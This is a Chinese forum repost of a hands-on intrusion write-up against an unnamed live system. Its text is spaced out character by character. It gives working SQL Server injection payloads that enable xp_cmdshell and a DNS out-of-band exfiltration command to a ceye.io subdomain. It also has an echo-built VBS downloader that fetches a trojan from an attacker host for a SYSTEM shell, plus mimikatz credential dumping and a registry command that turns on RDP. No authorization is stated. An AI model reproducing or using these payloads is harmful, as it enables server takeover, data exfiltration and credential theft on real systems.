搜索

[22075] 2021-06-18_对某系统实战练手

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-06-18_对某系统实战练手 对 某 系 统 实 战 练 手 转 自 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 6 - 1 8 信 息 收 集 信 息 收 集 用 用 D i r s e a r c h 扫 了 一 波 目 录 没 有 发 现 什 么 扫 了 一 波 目 录 没 有 发 现 什 么 直 接 用 主 站 域 名 解 析 的 i p 访 问 发 现 主 站 是 挂 有 c d n 的 s u b D o m a i n s B r u t e   扫 描 子 域 名 其 中 一 个 子 域 没 挂 C D N ， 由 此 找 到 网 站 的 真 实 i p ， 得 到 真 实 i p 后 n m a p 扫 描 发 现 8 0 9 9 端 口 有 个 未 知 应 用
访 问 发 现 是 个 W E B 服 务 ， 一 个 登 陆 界 面 漏 洞 利 用 漏 洞 利 用 趁 n m a p 还 在 工 作 的 时 候 ， 简 单 浏 览 了 下 网 站 的 功 能 ， 伪 静 态 ， 整 个 网 站 也 没 有 什 么 动 态 功 能 遂 把 目 光 放 在 了 n m a p 扫 出 的 8 0 9 9 端 口 的 w e b 服 务 常 规 测 试 a d m i n / a d m i n ， 提 示 密 码 错 误
l 3 y x / x x x x ， 账 号 不 存 在 那 么 可 以 确 定 的 是 这 里 的 账 号 和 密 码 验 证 是 分 开 的 ， 确 有 a d m i n 账 号 。 而 且 没 有 验 证 码 ， 理 论 上 可 以 爆 破 了 ， 但 我 只 手 动 测 试 了 常 见 的 几 个 弱 口 令 ， 无 果 。 当 输 入 一 个 单 引 号 时 ( a d m i n ' / 1 2 3 1 2 3 )   ， 惊 喜 来 了 ， 此 处 存 在 s q l i ！ 于 是 很 熟 练 的 构 造 " 万 能 密 码 " ， a d m i n / x '   o r   ' x ' = ' x - - 然 后 反 应 过 来 了 ， 之 前 测 试 发 现 账 号 密 码 验 证 是 分 开 的 ， 后 台 的 账 号 密 码 验 证 肯 定 并 非   w h e r e   u s e r n a m e = x x x   a n d   p a s s w o r d = x x x   这 种 简 单 的 s q l 语 句 ， 所 以 继 续 测 试 观 察 报 错 信 息
账 号 密 码 的 验 证 貌 似 是 调 用 了 储 存 过 程 ， 类 似 如   e x e c u t e   @ r e s u l t =   v e r i f y   ' x x x ' , ' x x x ' ; 当 账 号 密 码 为 a d m i n / 1 1 ' , ' x x ' - - 时 ， 页 面 返 回 正 常 由 于 不 是 很 熟 悉 s q l s e r v e r 使 用 存 储 过 程 的 注 入 ， 想 尝 试 构 造 出 能 成 功 登 陆 的 p a y l o a d 没 有 成 功 ， 就 换 种 思 路 。 s q l s e r v e r 是 默 认 可 以 堆 叠 查 询 的 ， 所 以 只 要 把 之 前 的 语 句 闭 合 ， 那 么 就 可 以 在 其 后 执 行 任 意 s q l 语 句 ， 能 执 行 任 意 s q l 语 句 ， 那 么 同 样 利 用 存 储 过 程 就 可 以 执 行 系 统 命 令 第 一 步 先 用 如 下 语 句 开 启 扩 展 存 储 过 程 执 行 系 统 命 令 e x e c   m a s t e r . . x p _ c m d s h e l l   " w h o a m i " 这 里 是 不 会 有 回 显 的 命 令 执 行 结 果 的 ， 所 以 用 p i n g 命 令 来 判 断 命 令 执 行 结 果 E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E ;
命 令 执 行 结 果 命 令 执 行 结 果 D N S 带 外 带 外 有 时 候 能 执 行 命 令 却 看 不 见 结 果 也 是 很 难 受 的 ， 这 里 我 还 是 想 能 够 观 察 到 命 令 执 行 结 果 ， 用 到 D N S 带 外 的 方 法 ， 其 实 就 下 面 一 条 命 令 实 际 测 试 的 时 候 爬 了 很 多 坑 ， 当 前 执 行 目 录 可 能 没 有 写 权 限 ， 换 到 D 目 录 目 标 服 务 器 貌 似 没 有 n s l o o k u p ， 换 成 p i n g & & 这 两 个 字 符 一 定 要 编 码 ， 否 则 被 W E B 服 务 器 当 做 参 数 分 隔 符 了 生 成 的 t e m p 文 件 要 删 除 ， 否 则 下 次 执 行 会 失 败 s q l s e r v e r 中 一 对 双 引 号 其 中 的 双 引 号 用 两 个 双 引 号 代 替 最 后 的 p a y l a o d c m d   / v   / c   " w h o a m i   >   t e m p   & &   c e r t u t i l   - e n c o d e   t e m p   t e m p 2   & &   f i n d s t r   / L   / V   " C E R T I F I C A T E "   t e m p 2   >   t e m p 3   & &   s e t   / p   M Y V A R = <   t e m p 3   & &   s e t   F I N A L = ! M Y V A R ! . x x x . c e y e . i o   & &   n s l o o k u p   ! F I N A L ! " e x e c   m a s t e r . . x p _ c m d s h e l l   " w h o a m i > D : / t e m p % 2 6 % 2 6 c e r t u t i l   - e n c o d e   D : / t e m p   D : / t e m p 2 % 2 6 % 2 6 f i n d s t r   / L   / V   " " C E R T I F I C A T E " "   D : / t e m p 2 > D : / t e m p 3 " ; e x e c   m a s t e r . . x p _ c m d s h e l l   " c m d   / v   / c " " s e t   / p   M Y V A R = <   D : / t e m p 3   % 2 6 % 2 6   s e t   F I N A L = ! M Y V A R ! . x x x . c e y e . i o   % 2 6 % 2 6   p i n g   ! F I N A L ! " " " ; e x e c   m a s t e r . . x p _ c m d s h e l l   " d e l   " " D : / t e m p " "   " " D : / t e m p 2 " "   " " D : / t e m p 3 " " " ;
直 接 就 是 s y s t e m 权 限 写 入 写 入 V B S 下 载 木 马 下 载 木 马 c m d 命 令 行 做 不 到 下 载 文 件 ， 使 用 p o w e r s h e l l 容 易 被 杀 毒 软 件 拦 截 ， 在 该 服 务 器 上 测 试 p o w e r s h e l l 命 令 也 不 成 功 ， 所 以 就 用 v b s 来 下 载 文 件 v b s 下 载 文 件 脚 本 : 用 法 : c s c r i p t   D : / l . v b s   h t t p : / / x x . x x . x x . x x / x . e x e   D : / x . e x e 所 以 先 得 利 用 s q l 注 入 执 行 命 令 把 该 脚 本 一 点 点 写 入 文 件 ， 如 下 注 意 以 上 命 令 是 不 能 全 部 用 & & 连 接 起 来 一 起 输 入 的 ， 因 为 参 数 限 制 最 大 长 度 为   1 2 8 ， 还 有 在 s q l s e r v e r 中 双 引 号 内 输 入 双 引 号 是 需 要 输 入 两 个 双 引 号 的 ， 并 不 是 用 转 义 ， 如 图 i L o c a l   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 1 ) ) i R e m o t e   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 0 ) ) S e t   x P o s t   =   C r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " ) x P o s t . O p e n   " G E T " , i R e m o t e , 0 x P o s t . S e n d ( ) S e t   s G e t   =   C r e a t e O b j e c t ( " A D O D B . S t r e a m " ) s G e t . M o d e   =   3 s G e t . T y p e   =   1 s G e t . O p e n ( ) s G e t . W r i t e ( x P o s t . r e s p o n s e B o d y ) s G e t . S a v e T o F i l e   i L o c a l , 2 e c h o   i L o c a l   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 1 ) ) > D : / l . v b s e c h o   i R e m o t e   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 0 ) ) > > D : / l . v b s e c h o   S e t   x P o s t   =   C r e a t e O b j e c t ( " " M i c r o s o f t . X M L H T T P " " ) > > D : / l . v b s e c h o   x P o s t . O p e n   " " G E T " " , i R e m o t e , 0   > > D : / l . v b s e c h o   x P o s t . S e n d ( )   > > D : / l . v b s e c h o   S e t   s G e t   =   C r e a t e O b j e c t ( " " A D O D B . S t r e a m " " ) > > D : / l . v b s e c h o   s G e t . M o d e   =   3   > > D : / l . v b s e c h o   s G e t . T y p e   =   1   > > D : / l . v b s e c h o   s G e t . O p e n ( ) > > D : / l . v b s e c h o   s G e t . W r i t e ( x P o s t . r e s p o n s e B o d y ) > > D : / l . v b s e c h o   s G e t . S a v e T o F i l e   i L o c a l , 2   > > D : / l . v b s
在 执 行   c s c r i p t   D : / l . v b s   h t t p : / / i p / x . e x e   D : / x . e x e   命 令 后 ， 看 到 服 务 器 确 有 下 载 记 录 说 明 v b s 脚 本 写 入 成 功 而 且 确 实 下 载 了 文 件 ， 但 是 执 行   D : / x . e x e   后 没 有 收 到 s h e l l 怀 疑 是 杀 毒 软 件 给 拦 了 ， 但 我 确 实 做 过 免 杀 啊 . . . 后 来 检 查 发 现 ， 该 服 务 器 是 3 2 位 系 统 ， 而 我 用 的 是 6 4 位 的 p a y l o a d ， 自 然 不 会 成 功 ， 后 面 换 成 3 2 位 的 ， 成 功 弹 回 s h e l l
信 息 收 集 信 息 收 集 i p c o n f i g 查 了 一 下 i p ， 发 现 处 在 内 网 查 看 域 用 户 n e t   g r o u p   / d o m a i n 有 中 文 乱 码 ， 本 来 想 用 c h c p   6 5 0 0 1 切 换 成 U T F - 8 代 码 页 ， 但 只 要 切 换 成 U T F - 8   s h e l l 就 断 ， 不 知 具 体 原 因 。 不 过 u t f - 8 不 行 的 话 c h c p   4 3 7 切 换 到 I B M 4 3 7 英 语 好 了 看 到 这 里 是 没 有 域 的 ， 有 点 小 失 望 查 看 系 统 基 本 信 息
s y s t e m i n f o 查 看 端 口 ， 没 开 3 3 8 9 n e t s t a t   - a n o 查 看 相 邻 主 机 I P a r p   - a 抓 用 户 h a s h
解 密 不 成 功 的 话 可 以 用 m i m i k a t z 直 接 抓 取 明 文 ， m e t a s p l o i t 已 经 内 置 ， 可 以 直 接 加 载 l o a d   m i m i k a t z 然 后 用 k e r b e r o s 命 令 抓 取 或 者 用 m i m i k a t z _ c o m m a n d 执 行 m i m i k a t z 命 令 m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : l o g o n P a s s w o r d s 连 接 连 接 3 3 8 9 目 标 3 3 8 9 是 没 有 开 启 的 ， 不 过 W i n 7 、 W i n 2 0 0 3 、 X P 系 统 可 用 如 下 命 令 开 启 R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理